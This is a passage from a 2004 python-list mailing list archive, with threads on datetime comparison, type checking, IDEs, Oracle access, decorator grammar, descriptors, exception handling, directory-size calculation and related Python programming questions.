mock filesystem. Both should pass identically. And for running it on
the real filesystem, well, you need to be root for some tests.

-- Remy


Remove underscore and suffix in reply address for a timely response.



From donnal at donnal.net  Tue Sep 14 18:00:35 2004
From: donnal at donnal.net (Donnal Walter)
Date: Tue, 14 Sep 2004 17:00:35 -0500
Subject: comparing datetime with date
In-Reply-To: <_YadnaNopM35ztrcRVn-gg@powergate.ca>
References: <mailman.3292.1095162740.5135.python-list@python.org>	<ci6r7k$gav$03$1@news.t-online.com>
	<_YadnaNopM35ztrcRVn-gg@powergate.ca>
Message-ID: <ci7pm4$ncp$1@sea.gmane.org>

Peter Hansen wrote:
> Diez B. Roggisch wrote:
> 
>> Donnal Walter wrote:
>>
>>> How can these two objects be considered equal? Is there a *general* way
>>> to test for date != datetime as well as 4.5 != 4.6?
>>
>>
>> Try making a datetime-object from your date, with zeros for the time 
>> part -
>> then you'll get what you want.
> 
> 
> While trying to provide my first answer, I thought of suggesting
> this, but there doesn't appear to be a simple way of doing it.
> It looked like the following was the best I could do (where 'x'
> is a datetime.date object):
> 
>   z = datetime.datetime(x.year, x.month, x.day)
> 
> I just found timetuple(), which means this could be written
> in the awful form:
> 
>   z = datetime.datetime(*x.timetuple()[:3])
> 
> but that's hardly better, and definitely more inscrutable.
> 
> To answer Donnal's question above, however, it appears this
> might be a reasonable approach:
> 
>  >>> x.timetuple() == y.timetuple()
> False
> 
> Not sure there's a better approach readily available.
> 
> -Peter

Thanks for the suggestions. I have decided *not* to store date/datetime 
objects, but rather store the corresponding time tuples: 3-tuple for 
date only, and 5- or 6-tuple for date and time, depending on whether or 
not seconds are given). Then the following method notifies observers if 
a simple date is changed to the date with time (just like number changes 
and string changes).

     def set(self, value):
         if value != self._state:        # now this works!
             self._state = value
             self.notify_observers(self)

This means, of course, that if an observer wants to calculate a 
TimeDelta, the corresponding datetimes have to be constructed, but I 
don't think this is too inefficient.

         time1 = datetime.datetime(*time1.get()) # 3-, 5-, or 6-tuple
         time2 = datetime.datetime(*time2.get())
         tdelta = time2 - time1

The observer object (and user) would need to understand the loss of 
precision when times are not actually given, but at least the relevant 
methods work regardless.

Thanks again,

Donnal Walter
Arkansas Children's Hospital




From newsgroups at jhrothjr.com  Wed Sep 22 16:18:50 2004
From: newsgroups at jhrothjr.com (John Roth)
Date: Wed, 22 Sep 2004 15:18:50 -0500
Subject: detecting variable types
References: <cisjhb$6kr$1@news-int.gatech.edu>
	<Y-WdnWCkPIytTszcRVn-vQ@powergate.ca>
	<ciskpq$7f2$1@news-int.gatech.edu>
Message-ID: <10l3nhcl8nacs67@news.supernews.com>


"Jay" <wjjeonk at hotmail.com> wrote in message 
news:ciskpq$7f2$1 at news-int.gatech.edu...
> Thanks, Peter.
>
> Here's what I'm trying to do:
>
> I have a function like this:
>
> def func(**params):
>
>    # if params[key1] is a single string
>        # do something with params[key1]
>
>    # if params[key1] is a list of strings
>        for val in params[key1]:
>            # do something
>
> Could you suggest a better way to do this without detecting the type?

I'd strongly suggest making the value of "key1" a list in
all cases, including the case where there is no value:
that is, an empty list.

It makes your processing logic a lot simpler, and even if
you can't make the caller do it that way, the function/method
to preprocess is fairly simple (and also takes care of the
"key not found" case.)

John Roth
>
>
> Jay.
>
>
> "Peter Hansen" <peter at engcorp.com> wrote in message
> news:Y-WdnWCkPIytTszcRVn-vQ at powergate.ca...
>> Jay wrote:
>> > I'm sure this is a really dumb question, but how do you detect a
> variable
>> > type in Python?
>> >
>> > For example, I want to know if the variable "a" is a list of strings or
> a
>> > single string. How do I do this?
>>
>> Use the builtin function "type()", but note the following:
>>
>> 1. Variables don't actually have types in Python (and they're usually
>> called "names" in Python, for various reasons), but the data they are
>> currently bound to does have a type and that's what type() returns.
>> Often the distinction won't matter to you...
>>
>> 2. Most of the time people trying to do what you are probably trying
>> to do are going about things the wrong way, often from experience
>> with other languages.  Lots of Python folks would be happy to introduce
>> you to "better" ways to do things, if you'll explain the use case
>> and tell us what you're actually trying to accomplish.  (Of course,
>> using "type()" will work, but it's rarely considered the best
>> approach in the Python community.)
>>
>> -Peter
>
> 



From peter at engcorp.com  Tue Sep 14 16:17:11 2004
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 14 Sep 2004 16:17:11 -0400
Subject: Ranting about the state of Python IDEs for Windows
In-Reply-To: <7LudnZweyKXOoNrcRVn-sw@adelphia.com>
References: <mailman.3261.1095106220.5135.python-list@python.org>
	<656g254o.fsf@python.net> <7LudnZweyKXOoNrcRVn-sw@adelphia.com>
Message-ID: <lrmdnUYdl8VVzNrcRVn-pA@powergate.ca>

Rob McCrea wrote:

> Thomas Heller wrote:
>> If you work on Windows, you should really, really, really upgrade to
>> win2k, at least - even if it costs some performance on your machine.
>>
>> You can even *use* the 'dos-box' then ;-).
> 
> In my not-at-all-humble-but-very-honest opinion, that's the worst 
> suggestion I've heard in this topic.

As Thomas is, I'm very curious why you would say that.  And
I wonder if you would say that if you replaced 2K with XP,
or whether you are just against anyone switching from 98
to something better *if they have to work with Windows*
as Thomas clearly qualified the point.

For the record, switching from 98 to XP has been an incredibly
helpful upgrade in my own case, and I can't think why you
would make the comment you made.

-Peter


From M.Waack at gmx.de  Tue Sep 28 15:15:09 2004
From: M.Waack at gmx.de (Mathias Waack)
Date: Tue, 28 Sep 2004 21:15:09 +0200
Subject: Oracle Access via cx_Oracle
References: <mailman.4024.1096394152.5135.python-list@python.org>
Message-ID: <tqpo22-h77.ln1@valpo.de>

Greg Lindstrom wrote:

>>Does SQL*Plus work to get at the database?
>>Paul
> 
> Yes, I can hit the Oracle database on the remote (posix) machine
> with
> SQL*Plus running on my Windows box.  Does that help me out? 

I think no. The question Paul asked was: can you connect to the
database with sql*plus in the same environment used by your python
script? If not - what error gives sql*plus?

Mathias


From ivoras at __-geri.cc.fer.hr  Thu Sep 16 11:12:26 2004
From: ivoras at __-geri.cc.fer.hr (Ivan Voras)
Date: Thu, 16 Sep 2004 17:12:26 +0200
Subject: Rotating lists?
In-Reply-To: <JG32d.19389$z_3.13583@trndny07>
References: <ciaek6$6l$1@bagan.srce.hr> <JG32d.19389$z_3.13583@trndny07>
Message-ID: <cicagp$qcp$1@bagan.srce.hr>

Raymond Hettinger wrote:
> 
> For earlier Pythons, concatenate list slices:  a[1:] + a[:1]
                                                          ^^^^^

That's what I missed :) I should've thought of that :)
Thanks!


From ialbert at mailblocks.com  Thu Sep  9 15:29:08 2004
From: ialbert at mailblocks.com (Istvan Albert)
Date: Thu, 09 Sep 2004 15:29:08 -0400
Subject: Is except: ... pass bad style?
In-Reply-To: <pan.2004.09.09.16.26.16.985806@python.net>
References: <pan.2004.09.09.16.26.16.985806@python.net>
Message-ID: <hYadnenz9-6ZMt3cRVn-uQ@giganews.com>

marduk wrote:

> try:
>     # call optional method
>     myobj.method()
> except AttributeError:
>     # no biggie
>     pass
> 
> 
> Occasionally I use pylint, which is a good tool, but in the above
> snippet pylint will complain that 'Except doesn't do anything'.  True,
> but is that bad style?  

I personally don't like this, not because of pylint but because
it feels like using the wrong solution for the problem.
You could create a base class that has a method that
does nothing and have all your objects inherit from that.

This solution does properly communicate
that the method is optional. Not to mention that you need
to repeat the whole thing if used again in a different
circumstance. Plus something could go wrong inside
existing methods and you'd never know about it.

Why risk all that?

Istvan.


From thomas.weholt at gmail.com  Wed Sep 15 08:30:36 2004
From: thomas.weholt at gmail.com (Thomas Weholt)
Date: 15 Sep 2004 05:30:36 -0700
Subject: Broadcast
Message-ID: <ffb7b7f8.0409150430.116a079f@posting.google.com>

Posted somewthing about a xmlrpc-webserver with multicast
capabilities, but I've solved all but the thing I've now learned is
called broadcast, not multicast.

I need a simple way of sending packets to local subnet and getting
results from active servers. The mcast.py in the demo-folder of the
distro didn't do it for me, so if anybody has another example I'd be
very grateful.


From foo at bar.com  Wed Sep 29 20:41:18 2004
From: foo at bar.com (Steve Menard)
Date: Wed, 29 Sep 2004 20:41:18 -0400
Subject: Calling (C)Python code from Java: Is it JPype?
In-Reply-To: <cjeem1$5h9$1@newshispeed.ch>
References: <cjeem1$5h9$1@newshispeed.ch>
Message-ID: <1DI6d.223$j5.307837@weber.videotron.net>

F. GEIGER wrote:
> I've dev'ed a Python prototype of an app, that besides the internals making
> it up has a gui. While test-driven dev'ing the app's internals in Python is
> fun as usual, dev'ing the GUI is not so funny, at least for me.
> 
> I guess dev'ing a GUI in a test-driven way is not possible, or is it? I'm
> using wxPython, so if anyone has an idea...
> 
> For now most of the time I extend and change the gui things, then run it, do
> the clicks to go thru the new things and - bang: Missing attribute bla bla
> bla or an error like that. Yes, I use Pychecker, but it isn't of real help
> in gui dev'ing (at least in my GUIs ;-)).
> 
> So, a compiler could ease things a bit here. While I want the complicated
> stuff remaining written in Python, I'd write the GUI things in Java. Java,
> because I plan to run the app on Linux too (dev'ing on Windows for now).
> Otherwise *.NET could be an option (well, perhaps I should look at Mono).
> 
> Now, if I go the Java route, how can I call my Python stuff from Java, if I
> do not want to use Jython, which lags behind CPython 3 minor versions (2.1.
> vs. 2.4)? Google showed up JPype, but this seems to enable me the other way
> round: Call Java code from CPython. Or are there any plans to make this
> possible the other way round too?
> 
> Any other options here?
> 
> Many thanks in advance
> Franz GEIGER
> 

Well, lemme see how you can have you cake and eat it too :)

Right now, JPype does not allow you to call Python code "as is". 
Besides, adaptic a static language like java to a dynamic language like 
python is "easy". Going the other way is ... impossible.

What JPype allows you to do is use Java classes as though they were 
regular Python classes. This includes Standard java classes as well as 
classes you've written youself.

Somewhere in the back of my head there are plans to make python classes 
available to Java. The goal though wil be to be able to make use of the 
many frameworks availabel in the Java worlds, be it server technologies 
like servlets and EJBs, or client-side stuff like Eclipse.

Aside form that, your problem is exactly one of the problems that 
incited me to write JPype. Python GUI toolkits just seem, to my 
java-trained mind, too hard to use.

So, what I would do is have Python be the "host", the controller, 
calling the JAVA-built GUI and registering listeners. JPype does not 
allow subclassing of Java classes in python, but you can crerate JProxy 
that "implement" any Java interface. The standard idiom for Java event 
and callbacks is based on the use of interfaces anyway. In fact, baring 
the very rare cases where Swing requires subclasses, you could crerate 
your whole GUI using Swing and not writing a single line of Java.

Hopefully this answers your question. IF you have any, feel free to 
contact me through sourceforge.

Steve



From bgabriel at cloudthunder.com  Thu Sep 30 10:42:25 2004
From: bgabriel at cloudthunder.com (Bishara Gabriel)
Date: Thu, 30 Sep 2004 10:42:25 -0400
Subject: Social Analysis and Modeling for Python
In-Reply-To: <E1CCrfY-00028y-0i@lairds.us>
References: <415AD6A4.7000400@cloudthunder.com>
	<10AC3CB6-1236-11D9-876C-0003939C968C@unito.it>
	<mailman.4096.1096482802.5135.python-list@python.org>
	<E1CCrfY-00028y-0i@lairds.us>
Message-ID: <415C1B51.7070605@cloudthunder.com>

Cameron Laird wrote:

>In article <mailman.4096.1096482802.5135.python-list at python.org>,
>Bishara Gabriel  <bgabriel at cloudthunder.com> wrote:
>  
>
>>Latest Revision of Social Analysis and Modeling in Python:
>>http://www.mtholyoke.edu/~bgabriel/Social_Analysis_&_Modeling_in_Python.pdf
>>    
>>
>
>Recognition of SimPy greatly comforts me.
>
>  
>
Glad to hear it.  That was Tim's fantastic suggestion.

>Is your thesis that OOP is good for social sciences in contrast to other
>sciences, or as with other sciences?  If the latter--as I believe--than you
>need to alert readers to Python's existing record of success in serving the
>sciences (see, for example, the recent SciPy Conference).
>
>  
>
Not in contrast, no.  Excellent suggestions, we shall incorporate them 
immediately.

>I don't like formulations such as "one-to-one correlation between their
>theoretical model and the Python equivalent."  It says both too little and 
>too much.  If this were my proposal, I'd aim for the far more powerful,
>"this project demonstrates Python's suitability as a vehicle which
>simultaneously expresses a theoretical model in a way researchers
>understand, and calculates the consequences of that model with a speed
>and reliability humans don't match."
>
>  
>
Noted, you can expect the modification to be made immediately.

>Do you realize how ambitious your "Proposal Specifics" sound?  How many
>hours do you estimate these seven achievements will require?  What are
>the "loadings" of your Project Manager and Chief Consultant?
>
>  
>
The majority of the work will be carried out by the project manager (I) 
and a team of 10 interested and well skilled students.  Ambitious our 
project is indeed, yet we are confident in our abilities.

>For you, is "theoretical economics" inherently and comprehensively
>Marxian, or are you claiming expertise only in that part of it which is
>Marxian?
>  
>
I do not attempt to conflate theoretical economics with Marxism.  
Indeed, Marxian class analysis will be our entry-point because it is an 
area of particular expertise and thus allows for us to add to that realm 
in an immensely significant manner.  As our tools and materials intend 
to reflect the broad applicability of Python in the social science we 
will work with academics in those other fields to insure support for the 
specifics their research.


From carribeiro at gmail.com  Fri Sep 24 10:01:49 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Fri, 24 Sep 2004 11:01:49 -0300
Subject: up with PyGUI!
In-Reply-To: <2rhjmpF1at3kjU1@uni-berlin.de>
References: <mailman.3318.1095180577.5135.python-list@python.org>
	<414783DD.4070509@zephyrfalcon.org>
	<4lf4d.15151$pA.1180511@news20.bellglobal.com>
	<4151B7C4.6070003@zephyrfalcon.org> <2rfnp6F19gkpkU1@uni-berlin.de>
	<4152D05B.9020909@zephyrfalcon.org> <2rhjmpF1at3kjU1@uni-berlin.de>
Message-ID: <864d3709040924070115d9d98a@mail.gmail.com>

On Fri, 24 Sep 2004 15:47:33 +1200, Greg Ewing
<greg at cosc.canterbury.ac.nz> wrote:
> For a while now I've been wondering whether Python could
> benefit from an "instance" statement that works similarly
> to a class statement but creates instances instead of
> classes.

I've done something like you want using metaclasses. I've posted it as
another thread, it was a "Call for suggestions". As you may see, I'm
still looking for more people to work with me on this solution :-)
Basically what it does is to process declarations like this:

class MainFrame(FrameDescription):

    class b1(ButtonDescription):
      size = (40, 40)
      text = "b1"

... where FrameDescription and ButtonDescription are both derived from
a base Container class. When constructed, the MainFrame will contain
an **instance** called b1 from the class b1 (that's right, the same
name; the temporary class definition is gone). The metaclass creation
engine also respects the order of the declaration. The orderd list is
stored as a _fields member; in the case above, _fields[0] is size, and
_fields[1] is text. Note that the hash used to store attributes that
is passed to the metaclass can't work this magic alone.



-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From aleaxit at yahoo.com  Tue Sep  7 05:42:41 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Tue, 7 Sep 2004 11:42:41 +0200
Subject: docs on for-loop with no __iter__?
References: <mailman.2873.1094321890.5135.python-list@python.org>
	<bMp_c.7491$w%6.1810@newsread1.news.pas.earthlink.net>
	<mailman.2879.1094332737.5135.python-list@python.org>
	<Fvq_c.379$ip2.170@newsread3.news.pas.earthlink.net>
	<mailman.2883.1094340967.5135.python-list@python.org>
	<9Ix_c.7839$w%6.378@newsread1.news.pas.earthlink.net>
	<mailman.2913.1094451430.5135.python-list@python.org>
	<1gjpr95.1h39l9v1wuwuuN%aleaxit@yahoo.com>
	<mailman.2944.1094506599.5135.python-list@python.org>
	<1gjpv1h.1qtomfg1hhx5h2N%aleaxit@yahoo.com>
	<mailman.2955.1094538759.5135.python-list@python.org>
	<1gjqisz.ujlgcqe74dvtN%aleaxit@yahoo.com>
	<mailman.2962.1094543082.5135.python-list@python.org>
	<just-16DEDB.09491607092004@news1.news.xs4all.nl>
Message-ID: <1gjqqqq.vwwagy6s9l3fN%aleaxit@yahoo.com>

Just <just at xs4all.nl> wrote:

> In article <mailman.2962.1094543082.5135.python-list at python.org>,
>  Steven Bethard <steven.bethard at gmail.com> wrote:
> 
> > It would have made describing the protocol somewhat more complex, but it
> > would 
> > have made using the protocol in a class simpler.  Moot point of course,
since
> > I'm fully convinced that changing the protocol is infeasible. =)
> 
> Why on earth would you want to improve a protocol that's only there for
> legacy reasons, and has been replaced by something vastly better?

I think he wants to understand more than he actually wants any change.

Sometimes it helps to understand X to consider what alternatives there
could be to X, even though it's not practically feasible to implement
such alternatives.  At first I had a reaction quite similar to yours,
but I am currently holding this working hypothesis -- that it's about
understanding more than anything else.  And I do believe that
understanding why that now-obsolete protocol was indeed optimal, most
Pythonic, in its time, can enhance one's understanding of what Pythonic
means.  Of course, you're unfairly and genetically advantaged in that
understanding, but most of us have to work for it!-)


Alex


From thomas.krueger at gmx.net  Wed Sep  1 09:45:55 2004
From: thomas.krueger at gmx.net (Thomas =?ISO-8859-1?Q?Kr=FCger?=)
Date: Wed, 01 Sep 2004 15:45:55 +0200
Subject: Python cannot use SMTP...
References: <70l2zhex3h4i$.vnwm6z03abbm.dlg@40tude.net>
Message-ID: <ch4jqm$ju3$03$1@news.t-online.com>

JZ wrote:
> smtplib.SMTPConnectError: (-1, "onnect: failed to connect to database:
> Error: Access denied for user: 'admin at localhost' (Using password: YES)")

That a MySQL error. I don't kwon how you made this error apear in your STMP
connection, I can only guess:
Does your STMP server any MySQL authentication?
Are you running MySQL on port 25?

Maybe the right of your mail log and a the result of
"netstat -nlp -A inet"
would help us to find the problem.

Thomas


From pm_mon at yahoo.com  Thu Sep  2 15:12:12 2004
From: pm_mon at yahoo.com (Paul Morrow)
Date: Thu, 02 Sep 2004 15:12:12 -0400
Subject: Are decorators really that different from metaclasses...
In-Reply-To: <20040902134641.GE24397@unpythonic.net>
References: <e69d3ed204082608183634bab@mail.gmail.com>	<cglg26$ehg$3@sea.gmane.org>	<e69d3ed2040827083448c31d45@mail.gmail.com>	<mailman.2548.1093646396.5135.python-list@python.org>	<cgosmb$ki0$0$216.39.172.122@theriver.com>	<mailman.2562.1093697125.5135.python-list@python.org>	<HBF.20040901iia9@bombur.uio.no>
	<ch5mkq$tb1$1@sea.gmane.org>	<20040902024221.GA3626@unpythonic.net>
	<ch6umj$74i$1@sea.gmane.org>
	<20040902134641.GE24397@unpythonic.net>
Message-ID: <ch7raa$8id$1@sea.gmane.org>

Jeff Epler wrote:
> On Thu, Sep 02, 2004 at 07:03:50AM -0400, Paul Morrow wrote:
> 
>>>You also add a new constraint not expressible directly in the Grammar
>>>file.
>>
>>It would be easy to write a BNF expression that states that the optional 
>>docstring is followed by 0+ assignments to magic variables.  So what are 
>>you referring to here?
> 
> 
> Please show me the Grammar rule you have in mind.  Here's the relevant
> part of the current Grammar file, for reference:
> 
> funcdef: [decorators] 'def' NAME parameters ':' suite
> suite: simple_stmt | NEWLINE INDENT stmt+ DEDENT
> ... (simple_stmt and stmt both include expr_stmt as an alternative)
> expr_stmt: testlist (augassign testlist | ('=' testlist)*)
> 

Something like this.  Now I'm not sure where you got that grammar text, 
but working from the one at http://docs.python.org/ref/grammar.txt I'd do

   funcdef ::=
     "def" funcname "(" [parameter_list] ")"  ":" funcsuite

   funcsuite ::=
     [oneline_funcdecl] stmt_list NEWLINE
     | NEWLINE INDENT [multiline_funcdecl] statement+ DEDENT

   magic_identifier ::=
     "__" (letter|digit) (letter|digit|"_")*  "__"

   multiline_docstring ::= stringliteral NEWLINE

   multiline_funcdecl ::=
     [multiline_docstring] multiline_property_setting*

   multiline_property_setting ::=
     magic_identifier "=" expression NEWLINE

   oneline_docstring ::= stringliteral ";"

   oneline_funcdecl ::= [oneline_docstring] oneline_property_setting*

   oneline_property_setting ::=
     magic_identifier "=" expression ";"


Note that I'm calling the assignments to magic variables 'property 
settings' and a function's docstring plus it's property settings would 
constitute the function's declaration (funcdecl).  The BNF nonterminals 
that start with 'oneline_' all appear on the same line, separated by a 
semi-colon.  Those that start with 'multiline_' all appear on separate 
lines.

Also note that the definition of 'suite' you posted doesn't show the 
constraint that a docstring can only be a string literal.  For that 
matter it doesn't even formally recognize a docstring as a special 
component of the function suite.


> [1] __*__
>     System-defined names. These names are defined by the interpreter and
>     it's implementation (including the standard library); applications
>     should not expect to define additional names using this convention.
>     The set of names of this class defined by Python may be extended in
>     future versions. See section 3.3, ``Special method names.''
>             -- http://docs.python.org/ref/id-classes.html
>     
>     My function attribute was not system-defined, but
>     application-defined.
> 

But according to your footnote, you're not permitted to define such 
names: "applications should not expect to define additional names using 
this convention."

So it seems that if you technically aren't free to use that syntax for 
your own local variables, then only functions that used technically 
'illegal' names would be affected.

Paul



From zarrok at gmail.com  Tue Sep 28 05:15:07 2004
From: zarrok at gmail.com (Bogdan Sumanariu)
Date: Tue, 28 Sep 2004 12:15:07 +0300
Subject: A good IDE for Python
In-Reply-To: <cjb38t$5ag$1@news.flashnet.it>
References: <cjb38t$5ag$1@news.flashnet.it>
Message-ID: <a197c5f404092802157cead870@mail.gmail.com>

On Tue, 28 Sep 2004 09:15:21 +0200, Hellas <hellas_74 at hotmail.com> wrote:
> Hello Guy
> I'm newbie of this program language so I need an software that it cans to
> help me to write correctly all key words like an IDE for Visual Basic
> integrated on the office's packet
> excuse me for my bad english
> 
> Thanks a lot who it helps me
> 
> --
> http://mail.python.org/mailman/listinfo/python-list
> 


A good open source IDE is eric3

http://www.die-offenbachs.de/detlev/eric3.html


From elbertlev at hotmail.com  Tue Sep 28 12:56:13 2004
From: elbertlev at hotmail.com (Elbert Lev)
Date: 28 Sep 2004 09:56:13 -0700
Subject: annoying behavior
Message-ID: <9418be08.0409280856.9368ddf@posting.google.com>

# here is the problem I ran into:

class foo:
    def __init__(self, host):
        self.f()
        self.r = True
    
    def f(self):
        if self.r:
            #<do something>
            pass
        else:
            #<do something else>
            pass

f = foo("1234")

#here is the output:

#Traceback (most recent call last):
#  File "G:\MyProjects\Python\Little\inconv.py", line 16, in ?
#    f = foo("1234")
#  File "G:\MyProjects\Python\Little\inconv.py", line 5, in __init__
#    self.f()
#  File "G:\MyProjects\Python\Little\inconv.py", line 9, in f
#    if self.r:
#AttributeError: foo instance has no attribute 'r'

# I understand why does this happen, but, to tell the truth,
# this feature is very annoying. 
# Are there any plans to relax this restriction? 
# In 3.0 :)?


From winexpert at hotmail.com  Mon Sep 20 11:03:45 2004
From: winexpert at hotmail.com (David Stockwell)
Date: Mon, 20 Sep 2004 15:03:45 +0000
Subject: Calculating days using Business Days for the Calendar
Message-ID: <BAY2-F9sQwY6YHkidcD00040f78@hotmail.com>

I''m wondering if the Calendar object has an option to only do calculations 
based on business days (ie M-F).  Additionally does it have a way to get 
holidays into itself?

Currently I'm considering converting my calculations over to business days 
and am wondering if there is anything built-in.  I've tried searching but so 
far haven't seen such a thing built in.

I'm thinking I'm just going to have to bite the bullet and create my own 
approach to
1) figure out the day of the week of my starting date  (Calendar.weekday() 
should do the trick)
2) determine the number of days up to my finish date (i do that now)
3) determine the number of non-business days  (weekends + holidays)
4) subtract off the number in #3 from #2


David
-------
Surf a wave to the future with a free tracfone 
http://cellphone.duneram.com/index.html

_________________________________________________________________
FREE pop-up blocking with the new MSN Toolbar ? get it now! 
http://toolbar.msn.click-url.com/go/onm00200415ave/direct/01/



From lkirsh at cs.ubc.ca  Tue Sep 14 06:24:21 2004
From: lkirsh at cs.ubc.ca (Lowell Kirsh)
Date: Tue, 14 Sep 2004 03:24:21 -0700
Subject: directories problem
In-Reply-To: <_66dnRiFcJCGxNvcRVn-pA@powergate.ca>
References: <ci5jf2$t60$1@mughi.cs.ubc.ca>
	<JAs1d.50$znk1.41@news04.bloor.is.net.cable.rogers.com>
	<_66dnRiFcJCGxNvcRVn-pA@powergate.ca>
Message-ID: <ci6gsp$50e$1@mughi.cs.ubc.ca>

Thanks Peter! I'm eager to try this out. It seems like a much cleaner 
solution than all the other options I've been considering.

Lowell

Peter Hansen wrote:

> Dan Perl wrote:
> 
>> I'm not sure whether this is what Lowell is looking for, but I've been 
>> looking at a similar problem and I would also like to see a solution 
>> for that: can a python script know its own full path name?
> 
> 
> See near the end of this thread: 
> http://groups.google.ca/groups?threadm=8089854e.0407070426.2fb90f95%40posting.google.com 
> 
> 
> Also note that scripts other than the main one can do it even more
> easily: __file__, or if that's not always an absolute path, 
> os.path.abspath(__file__).
> 
> -Peter


From dperl at rogers.com  Thu Sep  2 17:50:12 2004
From: dperl at rogers.com (Dan Perl)
Date: Thu, 02 Sep 2004 21:50:12 GMT
Subject: initializing mutable class attributes
References: <J4zYc.102357$UTP.98636@twister01.bloor.is.net.cable.rogers.com>	<1gjc8cs.sqvo1v1fhabdjN%aleaxit@yahoo.com>	<eTHYc.205$yqJ1.68@news04.bloor.is.net.cable.rogers.com>	<1gje9dn.r6jpetyroi0N%aleaxit@yahoo.com>	<8JbZc.140699$UTP.23045@twister01.bloor.is.net.cable.rogers.com>	<sweNBls/KXoF089yn@the-wire.com>	<cXnZc.158891$UTP.27028@twister01.bloor.is.net.cable.rogers.com>	<CZoZc.159227$UTP.62107@twister01.bloor.is.net.cable.rogers.com>	<u3c21wnbq.fsf@fitlinxx.com>	<mEtZc.160666$UTP.71082@twister01.bloor.is.net.cable.rogers.com>	<ch5tki$csm$0$216.39.172.122@theriver.com><XCxZc.993$4et.710@news04.bloor.is.net.cable.rogers.com>
	<mailman.2776.1094145516.5135.python-list@python.org>
Message-ID: <oAMZc.129134$pTn.105030@news01.bloor.is.net.cable.rogers.com>

I really like this one.  I think this 'defaultvalue' class even deserves to
be added as a builtin.  It can even be changed to initialize non-empty
sequences.  And I haven't tried that yet, but it should be able to
initialize an attribute with any kind of object that can be constructed with
no arguments.  Too bad it works only for instance attributes in a class.

I will be a good Pythoneer/Pythonista and I will invoke parent __init__'s
whenever using a library.  My concern was not as a library user, but as a
library developer.  In which case I don't like the idea of relying on users
to be good Python coders.

Dan

"Shalabh Chaturvedi" <shalabh at cafepy.com> wrote in message
news:mailman.2776.1094145516.5135.python-list at python.org...
> Dan Perl wrote:
>
> > Someone else (Shalabh) suggested descriptors for the same problem but I
> > didn't get to consider such a solution until now.
>
> This is what I had in mind:
>
> ---->8-----
> class defaultvalue(object):  # this is a descriptor
>     def __init__(self, name, factory):
>        self.name = name
>        self.factory = factory
>
>     def __get__(self, obj, cls=None):
>        if obj is None:
>           return self
>
>        val = self.factory()
>        setattr(obj, self.name, val)
>        return val
>
>
> class C(object):
>     i = defaultvalue('i',dict)
>     j = defaultvalue('j',list)
>
> c = C()
> print c.i, c.j   # prints {} []
> ---->8-----
>
> Once it has kicked in, it's free of the descriptor overhead. Note you
> only need to define defaultvalue once and reuse it everywhere. Also you
> can give it a function or lambda like:
>
>     k = defaultvalue('k', lambda :[1,2,3])
>
> I still suggest you be a good Pythoneer and use __init__() like everyone
> else. It's a useful habit of always calling the base class __init__() at
> the top of your __init__(). If you don't develop this habit (or of at
> least checking the base for __init__), you will waste debugging cycles
> when you use other libraries.
>
> --
> Shalabh
>
>
>
>
>
>
>




From peter at engcorp.com  Mon Sep 27 12:05:51 2004
From: peter at engcorp.com (Peter Hansen)
Date: Mon, 27 Sep 2004 12:05:51 -0400
Subject: Catching Exceptions.
In-Reply-To: <mailman.3968.1096299917.5135.python-list@python.org>
References: <mailman.3968.1096299917.5135.python-list@python.org>
Message-ID: <pvSdnaZKXovCp8XcRVn-jw@powergate.ca>

Keith Bolton wrote:
> I am handling exceptions currently using try, except.  Generally I don't
> handle specific exceptions and am catching all.
> Then if an exception occurs, I would like to capture that error string.
>  However, in the documentation it seems like 
> there is not a way to get the extra str data if you are handling all
> exceptions and not specifically.  Is there?

Do generic "try/except" is a *very* bad idea, and almost never
either required, or hard to avoid.

Nevertheless, if you are doing it, you can basically just
do this to get the extra info:

try:
     # failing code
except Exception, ex:
     # use ex here just as you would have in a more specific handler
     # such as with str(ex)

The key is that all exceptions are descendents of the class
Exception, except *deprecated* exceptions that are just
strings (as in "raise 'somefailure'").  (And those should never
be used in your own code anyway.)

-Peter


From gerrit at nl.linux.org  Tue Sep 28 03:44:21 2004
From: gerrit at nl.linux.org (Gerrit)
Date: Tue, 28 Sep 2004 09:44:21 +0200
Subject: emulating du with os.walk
In-Reply-To: <41579e43$0$9613$9b622d9e@news.freenet.de>
References: <slrnclej7g.cl6.kirk@eyegor.jobsluder.net>
	<41579e43$0$9613$9b622d9e@news.freenet.de>
Message-ID: <20040928074421.GD8719@nl.linux.org>

"Martin v. L?wis" wrote:
> Kirk Job-Sluder wrote:
> >There should be an easy way to get around this, or perhaps I'm better
> >off just parsing the output of du.
> 
> I suggest that you don't use os.path.walk, but write a recursive
> function yourself. You should find that the entire problem can
> be solved in 12 lines of Python code.

There are some nasty little problems which make it difficult.

First, what do you do with hardlinks? Suppose directory a/a, a/b and a/c
all contain the same 100 MiB file. Directory a/ only has 100 MiB, but a
naive script will report 300 MiB.

Most of the time, you'll want to stay in one filesystem.

You don't want to get stuck in recursive symlinks. If a/b is a symlink
to a/, you quickly get into an infinite loop.

Directories have a size too.

What do we do with files we can't read?

In /proc, even stranger subtleties exist which I don't understand -
ENOENT although listed by listdir() and that sort of thing.

Together with more options, human-readable file sizes and documentation,
it took be ~200 LOC at
http://topjaklont.student.utwente.nl/creaties/dkus.py

Note that du doesn't solve these problems either.

yours,
Gerrit.

-- 
Weather in Twenthe, Netherlands 28/09 08:55:
	15.0?C mist overcast wind 4.0 m/s SW (57 m above NAP)
-- 
In the councils of government, we must guard against the acquisition of
unwarranted influence, whether sought or unsought, by the
military-industrial complex. The potential for the disastrous rise of
misplaced power exists and will persist.
    -Dwight David Eisenhower, January 17, 1961


From roy at panix.com  Sun Sep 19 08:44:24 2004
From: roy at panix.com (Roy Smith)
Date: Sun, 19 Sep 2004 08:44:24 -0400
Subject: New Programmer and Python
References: <_NidnfFXMMGVyNHcRVn-hg@comcast.com>
	<278de0e.0409182238.d74d313@posting.google.com>
Message-ID: <roy-C6904B.08442419092004@reader1.panix.com>

luismg at gmx.net (Neuruss) wrote:
> Python is an excellent choice not only as a first language, but as
> "the" language.

I think it's silly (and, from a career advancement point of view, rather 
dangerous) to think of any language as the only language you'll ever 
need.  Every new language I've ever learned has taught me something new 
about programming, because it's shown me a different way of doing 
things.  Sometimes I like what I learn, sometimes I don't, but all 
knowledge is useful.

>From a purely "can I find a job" point of view, knowing only one 
language is professional suicide.  Choice of language may be one of the 
